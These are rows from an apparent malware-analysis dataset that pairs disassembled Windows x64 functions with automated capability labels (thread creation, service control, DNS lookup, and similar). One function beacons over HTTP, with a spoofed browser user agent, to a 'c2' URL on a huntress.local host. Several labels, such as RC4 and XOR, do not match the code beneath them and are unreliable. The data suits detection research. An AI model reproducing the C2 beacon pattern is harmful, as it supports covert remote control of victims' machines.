joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008ef64
Capabilities:
Create thread
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
mov rsi, rdx
mov rdi, rcx
call fcn.14000a900
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
nop dword [rax + rax]
mov qword [rdi + 0x10], rax
mov r15d, 0x80070000
test rax, rax
jne 0x14008efc9
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jle 0x14008efc1
movzx ebx, ax
or ebx, r15d
test ebx, ebx
js 0x14008f0d3
mov edx, 1
mov rcx, rsi
lea r8d, [rdx + 0x12]
call qword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
nop dword [rax + rax]
mov qword [rdi + 0x18], rax
cmp rax, 0xffffffffffffffff
jne 0x14008f00b
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jle 0x14008f003
movzx ebx, ax
or ebx, r15d
test ebx, ebx
js 0x14008f0d3
and qword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rcx, [0x1400affa8]
xor edx, edx
call qword [sym.imp.ext_ms_win_shell32_shellfolders_l1_1_0.dll_SHGetKnownFolderPath]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
js 0x14008f0be
mov rcx, qword [rsp + 0x40]
mov edx, 1
lea r8d, [rdx + 0x12]
call qword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
nop dword [rax + rax]
mov qword [rdi + 0x20], rax
cmp rax, 0xffffffffffffffff
jne 0x14008f078
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jle 0x14008f074
movzx ebx, ax
or ebx, r15d
test ebx, ebx
js 0x14008f0be
and qword [rsp + 0x28], 0
lea r8, [0x1400900d0]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop dword [rax + rax]
mov qword [rdi + 8], rax
test rax, rax
jne 0x14008f0be
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jle 0x14008f0be
movzx ebx, ax
or ebx, r15d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop dword [rax + rax]
test ebx, ebx
jns 0x14008f111
mov rcx, qword [rdi + 0x18]
cmp rcx, 0xffffffffffffffff
je 0x14008f0ee
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
nop dword [rax + rax]
or qword [rdi + 0x18], 0xffffffffffffffff
mov rcx, qword [rdi + 0x20]
cmp rcx, 0xffffffffffffffff
je 0x14008f109
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
nop dword [rax + rax]
or qword [rdi + 0x20], 0xffffffffffffffff
mov rcx, rdi
call fcn.14008fd6c
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x14008f130
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
call fcn.14003d1e8
mov ebx, eax
test eax, eax
js 0x14008f1f2
lea rcx, [rdi + 0x88]
mov r9d, 0x20219
lea r8, str.SoftwareMicrosoftMediaPlayerPreferencesHME_
mov rdx, 0xffffffff80000002
call fcn.140005e00
mov ebx, eax
test eax, eax
jne 0x14008f1e7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
nop dword [rax + rax]
mov qword [rdi + 0xa0], rax
test rax, rax
je 0x14008f1e0
mov rcx, rdi
call fcn.1400902f0
mov ebx, eax
test eax, eax
js 0x14008f1f2
xor edx, edx
mov rcx, rdi
call fcn.14009045c
mov ebx, eax
test eax, eax
js 0x14008f1f2
and qword [rsp + 0x28], 0
lea r8, [0x140090a60]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop dword [rax + rax]
mov qword [rdi + 0xa8], rax
jmp 0x14008f1f2
mov ebx, 0x8000ffff
jmp 0x14008f1f2
jle 0x14008f1f2
movzx ebx, ax
or ebx, 0x80070000
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14009a4ec
Capabilities:
Modify service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov dword [rax + 0x10], edx
push r15
sub rsp, 0x60
mov rdi, rcx
mov rcx, qword [section..data]
lea r14, section..data
lea r15, [0x1400b9190]
cmp rcx, r14
je 0x14009a565
test byte [rcx + 0x1c], 1
je 0x14009a53f
mov rcx, qword [rcx + 0x10]
mov edx, DispGetParam
mov r8, r15
call fcn.140045cf4
mov rcx, qword [section..data]
cmp rcx, r14
je 0x14009a565
test byte [rcx + 0x1c], 2
je 0x14009a565
cmp byte [rcx + 0x19], 4
jb 0x14009a565
mov rcx, qword [rcx + 0x10]
mov edx, reloc.OLEAUT32.dll_DispGetParam
mov r8, r15
lea r9d, [rdx - 0x1a]
call fcn.140043960
mov edx, 1
mov rcx, rdi
call fcn.14009a390
mov ebx, eax
mov rcx, qword [section..data]
cmp rcx, r14
je 0x14009a5a0
test byte [rcx + 0x1c], 2
je 0x14009a5a0
cmp byte [rcx + 0x19], 4
jb 0x14009a5a0
mov rcx, qword [rcx + 0x10]
mov edx, 0x1c
mov r9d, eax
mov r8, r15
call fcn.140043960
cmp ebx, 1
jne 0x14009a681
mov rcx, qword [rdi + 0x10]
lea r8, [rsp + 0x78]
lea edx, [rbx + 2]
mov dword [rsp + 0x78], ebx
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
nop dword [rax + rax]
mov ebx, eax
cmp eax, 1
je 0x14009a603
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov rcx, qword [section..data]
cmp rcx, r14
je 0x14009a681
test byte [rcx + 0x1c], 2
je 0x14009a681
cmp byte [rcx + 0x19], 2
jb 0x14009a681
mov edx, 0x1d
jmp 0x14009a672
mov rcx, qword [rdi + 0x10]
xor eax, eax
mov qword [rsp + 0x50], rax
or edx, 0xffffffff
mov qword [rsp + 0x48], rax
mov r9d, edx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
lea r8d, [rax + 2]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
nop dword [rax + rax]
mov ebx, eax
cmp eax, 1
je 0x14009a681
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov rcx, qword [section..data]
cmp rcx, r14
je 0x14009a681
test byte [rcx + 0x1c], 2
je 0x14009a681
cmp byte [rcx + 0x19], 4
jb 0x14009a681
mov edx, 0x1e
mov rcx, qword [rcx + 0x10]
mov r9d, eax
mov r8, r15
call fcn.1400438d8
mov rcx, rdi
call fcn.140040d90
mov rcx, qword [section..data]
cmp rcx, r14
je 0x14009a6b5
test byte [rcx + 0x1c], 1
je 0x14009a6b5
cmp byte [rcx + 0x19], 5
jb 0x14009a6b5
mov rcx, qword [rcx + 0x10]
mov edx, 0x1f
mov r9d, ebx
mov r8, r15
call fcn.140043960
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
Function at 0x14009a6d8
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [section..data]
lea rsi, section..data
cmp rcx, rsi
je 0x14009a718
test byte [rcx + 0x1c], 1
je 0x14009a718
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400b9190]
mov edx, 0x20
call fcn.140045cf4
xor edx, edx
mov rcx, rdi
call fcn.14009a390
mov ebx, eax
mov rcx, qword [section..data]
cmp rcx, rsi
je 0x14009a754
test byte [rcx + 0x1c], 2
je 0x14009a754
cmp byte [rcx + 0x19], 4
jb 0x14009a754
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400b9190]
mov edx, 0x21
mov r9d, eax
call fcn.140043960
cmp ebx, 1
jne 0x14009a7b1
mov rcx, qword [rdi + 0x10]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
nop dword [rax + rax]
mov ebx, eax
cmp eax, 1
je 0x14009a7b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov rcx, qword [section..data]
cmp rcx, rsi
je 0x14009a7b1
test byte [rcx + 0x1c], 2
je 0x14009a7b1
cmp byte [rcx + 0x19], 4
jb 0x14009a7b1
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400b9190]
mov edx, 0x22
mov r9d, eax
call fcn.1400438d8
mov rcx, rdi
call fcn.140040d90
mov rcx, qword [section..data]
cmp rcx, rsi
je 0x14009a7e9
test byte [rcx + 0x1c], 1
je 0x14009a7e9
cmp byte [rcx + 0x19], 5
jb 0x14009a7e9
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400b9190]
mov edx, 0x23
mov r9d, ebx
call fcn.140043960
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14009d9b4
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x460
mov rax, qword [0x1400ca1c0]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov r14, r8
mov esi, edx
mov rdi, rcx
mov rax, qword [section..data]
lea r12, section..data
cmp rax, r12
je 0x14009da29
test byte [rax + 0x1c], 1
je 0x14009da29
cmp byte [rax + 0x19], 5
jb 0x14009da29
mov r9, rcx
mov dword [rsp + 0x20], esi
mov rcx, qword [rax + 0x10]
lea r8, [0x1400ae6b0]
mov edx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.14006591c
mov rax, qword [section..data]
xor ebx, ebx
lea ebp, [rbx + 2]
lea r15d, [rbx + 0x17]
cmp bp, word [rdi]
je 0x14009da47
cmp r15w, word [rdi]
je 0x14009da47
mov ebx, 0x80070057
jmp 0x14009db28
mov dword [rsp + 0x30], ebp
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], ebx
mov r9d, 0x401
mov edx, 0x80
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getnameinfo]
nop dword [rax + rax]
test eax, eax
je 0x14009dad7
call qword [sym.imp.WSOCK32.dll_WSAGetLastError]
nop dword [rax + rax]
mov r9d, eax
test eax, eax
jg 0x14009da8e
mov ecx, eax
jmp 0x14009da98
movzx ecx, r9w
or ecx, 0x80070000
test ecx, ecx
mov eax, 0x80004005
cmovns ecx, eax
mov ebx, ecx
mov rax, qword [section..data]
cmp rax, r12
je 0x14009db66
test byte [rax + 0x1c], bpl
je 0x14009db28
cmp byte [rax + 0x19], bpl
jb 0x14009db28
mov rcx, qword [rax + 0x10]
lea r8, [0x1400ae6b0]
mov edx, SafeArrayUnlock
call fcn.1400438d8
jmp 0x14009db21
test esi, esi
je 0x14009db14
cmp r15w, word [rdi]
jne 0x14009db14
mov edx, 0x25
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_strchr]
nop dword [rax + rax]
test rax, rax
je 0x14009dafe
mov byte [rax], bl
lea r8, [rsp + 0x40]
mov rcx, r14
lea rdx, str.__hs_
call fcn.14001c8e0
jmp 0x14009db21
lea rdx, [rsp + 0x40]
mov rcx, r14
call fcn.14006130c
mov rax, qword [section..data]
cmp rax, r12
je 0x14009db66
test byte [rax + 0x1c], 1
je 0x14009db66
movzx ecx, byte [rax + 0x19]
mov edx, ebx
sar edx, 0x1f
and edx, 0xfffffffd
add edx, 5
cmp ecx, edx
jl 0x14009db66
mov rcx, qword [r14]
lea r8, [0x1400ae6b0]
mov qword [rsp + 0x20], rcx
mov edx, SafeArrayUnlock
mov rcx, qword [rax + 0x10]
mov r9d, ebx
call fcn.140052860
mov eax, ebx
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140044080
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400a333c
Capabilities:
Get local ipv4 addresses

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r15
sub rsp, 0x30
mov rbp, rcx
mov rcx, qword [section..data]
lea r15, section..data
cmp rcx, r15
je 0x1400a337f
test byte [rcx + 0x1c], 2
je 0x1400a337f
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400b9468]
mov edx, 0xa
call fcn.140045cf4
mov eax, 0x1f40
xor ebx, ebx
mov dword [rsp + 0x58], eax
mov edi, dword [rsp + 0x58]
xor esi, esi
cmp ebx, 3
jae 0x1400a33fe
mov ecx, eax
lea rdx, [0x1400b9928]
call fcn.140045918
mov rsi, rax
test rax, rax
je 0x1400a3406
xor r8d, r8d
lea rax, [rsp + 0x58]
mov r9, rsi
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r8 + 0xe]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
nop dword [rax + rax]
mov edi, eax
cmp eax, 0x7a
je 0x1400a33d9
cmp eax, 0x6f
jne 0x1400a33e9
mov rcx, rsi
call fcn.140044524
mov eax, dword [rsp + 0x58]
inc ebx
jmp 0x1400a338e
test eax, eax
jg 0x1400a33f1
mov ebx, eax
jmp 0x1400a33fa
movzx ebx, ax
or ebx, 0x80070000
test ebx, ebx
js 0x1400a3454
test edi, edi
jg 0x1400a340d
mov ebx, edi
jmp 0x1400a3416
mov ebx, 0x8007000e
jmp 0x1400a3454
movzx ebx, di
or ebx, 0x80070000
test ebx, ebx
js 0x1400a3454
mov qword [rbp + 0x10], rsi
xor esi, esi
call fcn.140045838
test al, al
je 0x1400a3454
call qword [sym.imp.ext_ms_win_casting_receiver_l1_1_0.dll_GetXboxWirelessNetworkInterfaceIndex]
nop dword [rax + rax]
test eax, eax
je 0x1400a3454
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x1400a3454
cmp dword [rcx + 4], eax
je 0x1400a344d
mov rcx, qword [rcx + 8]
jmp 0x1400a343d
mov dword [rcx + 0x64], 0x47
mov rcx, rsi
call fcn.140044524
mov rcx, qword [section..data]
cmp rcx, r15
je 0x1400a349e
test byte [rcx + 0x1c], 2
je 0x1400a349e
movzx edx, byte [rcx + 0x19]
mov r9d, ebx
sar r9d, 0x1f
and r9d, 0xfffffffd
add r9d, 5
cmp edx, r9d
jl 0x1400a349e
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400b9468]
mov edx, SafeArrayDestroy
mov r9d, ebx
call fcn.140045d20
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r15
pop rdi
pop rsi
ret
Function at 0x140001840
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002700
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002700
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x1400018b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400070a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001a60
mov rax, qword [0x1400070a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400018fc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001987
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x1400018e0
mov rcx, r12
call fcn.140002360
mov rbp, rax
test rax, rax
je 0x140001abd
mov rax, qword [0x1400070a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.140002490
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400070a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001aa2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001980
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a10
add dword [0x1400070a4], 1
cmp ebx, 8
jae 0x1400019b8
test bl, 4
jne 0x140001a70
test ebx, ebx
je 0x1400019a9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001a90
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x1400019a9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x1400019ea
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400070a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001980
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001840
xor edi, edi
jmp 0x140001907
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x1400019a9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x1400019a9
mov rax, qword [0x1400070a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140001840
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001840
nop
nop dword [rax]
Function at 0x140001fd0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140007100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140002024
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000201b
test r12, r12
je 0x14000201b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002000
lea rcx, [0x140007100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002360
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140004400]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x1400023d9
mov rcx, r10
call fcn.140002230
test eax, eax
je 0x1400023d9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x1400023d6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400023cd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x1400023d9
add r8, 0x28
cmp r8, r9
jne 0x1400023b8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140002d00
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push r12
xor r9d, r9d
xor r8d, r8d
mov edx, 1
push rbx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:130.0__Gecko_20100101_Firefox_130.0
sub rsp, 0x38
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
xor eax, eax
test r12, r12
je 0x140002d7c
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__supermegasus.huntress.local_c2
mov rcx, r12
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
test rax, rax
mov rcx, rax
jne 0x140002d70
mov rcx, r12
call rbx
xor eax, eax
jmp 0x140002d7c
call rbx
mov rcx, r12
call rbx
mov eax, 1
add rsp, 0x38
pop rbx
pop r12
ret
Function at 0x140006dc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
nop
push rdx
pop rax
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140006e40
cmp r11, r10
ja 0x140006eb7
cmp r10, rdx
ja 0x140006ec9
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140006e42
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140006e20
jmp 0x140006ea4
ja 0x140006e4a
mov r11, r10
cmp rax, r8
jne 0x140006dee
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140006e80
mov rdi, r8
sub ecx, edx
jns 0x140006e9b
jmp 0x140006ea6
cmp r8, rsi
je 0x140006ed8
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140006ea6
xor al, 1
cmp rdi, rsi
jne 0x140006e60
jmp 0x140006ea6
sub eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400056f0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140004380
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140005760
int3

Function at 0x140007e56
Capabilities:
Set thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
push rdx
nop
pop rsi
push rcx
pop rax
nop
mov ecx, dword [rcx + 0x18]
or ecx, ecx
je 0x140007e77
dec ecx
nop
push rsi
pop rdx
add rsp, 0x20
pop rsi
jmp fcn.1400443fc
nop
push rax
pop rcx
call fcn.140015e80
mov ecx, eax
jmp 0x140007e6a

Function at 0x14000880a
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x140046028]
or ecx, ecx
je 0x140008823
dec ecx
add rsp, 0x28
jmp fcn.140044404
lea rcx, [0x140046010]
call fcn.140015e80
mov ecx, eax
jmp 0x14000881a

Function at 0x140008a29
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x140046148]
test ecx, ecx
je 0x140008a42
dec ecx
add rsp, 0x28
jmp fcn.140044404
lea rcx, [0x140046130]
call fcn.140015e80
mov ecx, eax
jmp 0x140008a39
Function at 0x14000d41c
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
push rcx
nop
pop rax
mov ecx, dword [rcx + 0x18]
or ecx, ecx
je 0x14000d435
dec ecx
add rsp, 0x28
jmp fcn.140044404
mov rcx, rax
call fcn.140015e80
mov ecx, eax
jmp 0x14000d42c
Function at 0x140012de0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsp
nop
pop rbp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x140012e05
cmp rax, rcx
je 0x140012e0b
cmp rdx, 4
jae 0x140012e12
xor eax, eax
xor r8d, r8d
jmp 0x140012eb0
pop rbp
jmp fcn.140003f10
xor eax, eax
jmp 0x140012ec7
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
sub eax, eax
movdqa xmm2, xmmword [0x140047540]
movdqa xmm3, xmmword [0x140047550]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140012e40
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140012ec7
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140012eb0
pop rbp
ret